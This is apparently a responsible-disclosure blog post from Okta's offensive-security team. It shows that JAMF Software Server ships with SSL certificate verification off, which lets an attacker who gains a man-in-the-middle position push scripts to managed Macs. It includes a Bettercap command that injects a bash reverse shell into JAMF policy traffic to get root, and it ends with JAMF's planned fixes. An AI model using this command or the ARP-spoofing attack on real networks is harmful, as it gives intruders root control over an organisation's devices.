Deploying JAMF Server Software: Just Check the Box

Josh Pitts


We came across a default setting in JAMF Software Server (JSS), which we believe can put companies leveraging the solution at risk. Organizations should make sure they have enabled a very simple configuration setting, e.g. checking a box. We alerted JAMF Software and it has been responsive with its next steps to address the issue.

What is JAMF Software?

JAMF Software encompasses a number of solutions for fleet management of Apple products, including their own Apple MDM. Specifically for this post, we'll be focusing on JAMF’s Casper Suite and deploying a JSS. This suite of tools includes software that will help track inventory, manage devices, implement security policies, and deployment of software and scripts to end point Apple product clients.

Deployment options

When choosing a deployment model for Casper Suite there are two basic solutions: Self-hosted or a solution hosted in the JAMF Cloud where an organization would configure their instance of the JSS. In particular, it is important to note that with the self-hosted solution organizations are responsible for SSL certificate generation for use with the JSS. JAMF has outlined the steps to secure JSS deployment here:

The ‘JSS Settings’ section of the document outlines additional settings, and we’ll look at one: “Enable SSL certificate verification.” Note that this setting is not on by default. The reason for this is during the configuration of the JSS self-hosted deployment option, an organization is responsible for ensuring that SSL/TLS certificates are properly deployed before enabling this setting. This is important as an organization could lock out its entire fleet if it enables this setting and certificate authentication were to fail. For JAMF Cloud users, certificates are taken care of by JAMF, however, this feature should still be tested before enabling it on a small subset of users, as the organization may be using deep packet inspection (DPI) on its web proxy and this could cause issues like clients no longer being managed.

What if?

Being pentesters/hackers, we tend to take advantage of implementation misconfigurations whether in deployed software or systems. So we wanted to know what exactly happens if SSL certificate verification is off or fails for server to client communications? As one would expect, MITM is trivial depending on attacker capabilities and relative location to the network. A simple example after gaining local network access, would be to use Bettercap to launch an ARP spoofing attack to route traffic through the attacker machine.

After conducting a successful MITM attack, with the “Enable SSL certificate verification” box not checked, we noticed that JSS client server communications are clear text XML usually encapsulated in SSL/TLS communications. Contained in the XML data blobs from the server are policy enforcement actions, packages and scripts to deploy, and a randomly generated management password for the JAMF admin account on the client.

If the MITM attack is successful, an attacker could deploy scripts and packages to the clients and steal the management password for that particular endpoint client. ASIDE: With Casper Suite, you can write a policy to randomize the management account password on each client and you can change the password as often as your organization allows.


We wrote a Bettercap module to demonstrate the impact of this misconfiguration, get it here:

Also we recorded a video of the POC demo here:

The video is set up as follows:

  • Attacker on the left, victim computer on the right (OS X with jamf client)

  • The attacker consoles from top to bottom:

    • Bettercap a MITM tool used for this demo

    • ncat listening socket on port 9090

  • Bettercap is executed with our script using the following command:

sudo bettercap -T --proxy-module jamf.rb --jamf-server --command " bash -i >& /dev/tcp/ 0>&1 &" —proxy-https

  • Bettercap uses arp spoofing to redirect the victims traffic through the attacker’s machine

  • To speed the demo along, I invoke the ‘jamf policy’ command to download the current policy. Policy updates happen based on the organization settings - usually a couple times an hour/day.

  • You will see that bettercap inspects the traffic requests to the server and injects our reverse shell command into the scripts section.

  • Next you will see that the attacker gets a reverse shell from the client as root.

While the demo is simple, much more elaborate attacks could be executed, such as SSH port forwarding, where the attacker could log in to the victim machine from a server on the Internet, since the management password is in the XML blob.

Next Steps

We reported this issue to JAMF a couple weeks ago with recommendations and its response has been professional. JAMF provided the following statement for their next steps to ensure customers fully understand the setting and take the appropriate steps to minimize any risk:

  • Publish a knowledge base article that we will promote to our customers, along with our existing “Securing your JSS” guide

  • Reinforce with our service staff to educate and encourage new customers to enable the setting during our JumpStart onboarding engagements, which are required for all new customers

  • Enable the setting by default in the JSS with a future release (following our 9.96 release, currently in beta.)

  • Add two additional enhancements to our product backlog for consideration in a future release

    • Provide better reporting and notifications when the setting is changed within the JSS

    • Encrypt XML message bodies between the client and server beyond standard SSL/TLS, such as using the device identity certificate to encrypt/decrypt the entire XML message body

In conclusion

Most businesses in Silicon Valley, and around the world, have experienced an increase of Apple devices in the enterprise and the headache associated with managing these products. Solutions like JAMF’s Casper Suite have become a critical component in securing the enterprise, but like any client/server deployment, proper configuration is paramount and failure can impact an entire organization. Often enough the difference between a secure environment and a fully compromised one comes down to something as simple as checking a box.

Josh Pitts
Principal Hacker, Offsec Team

Josh Pitts is a Principal Hacker at Okta on our offsec team. He has over 15 years' experience conducting physical and IT security assessments, IT security operations support, penetration testing, malware analysis, reverse engineering, and forensics. Josh also served in the US Marines working in SIGINT.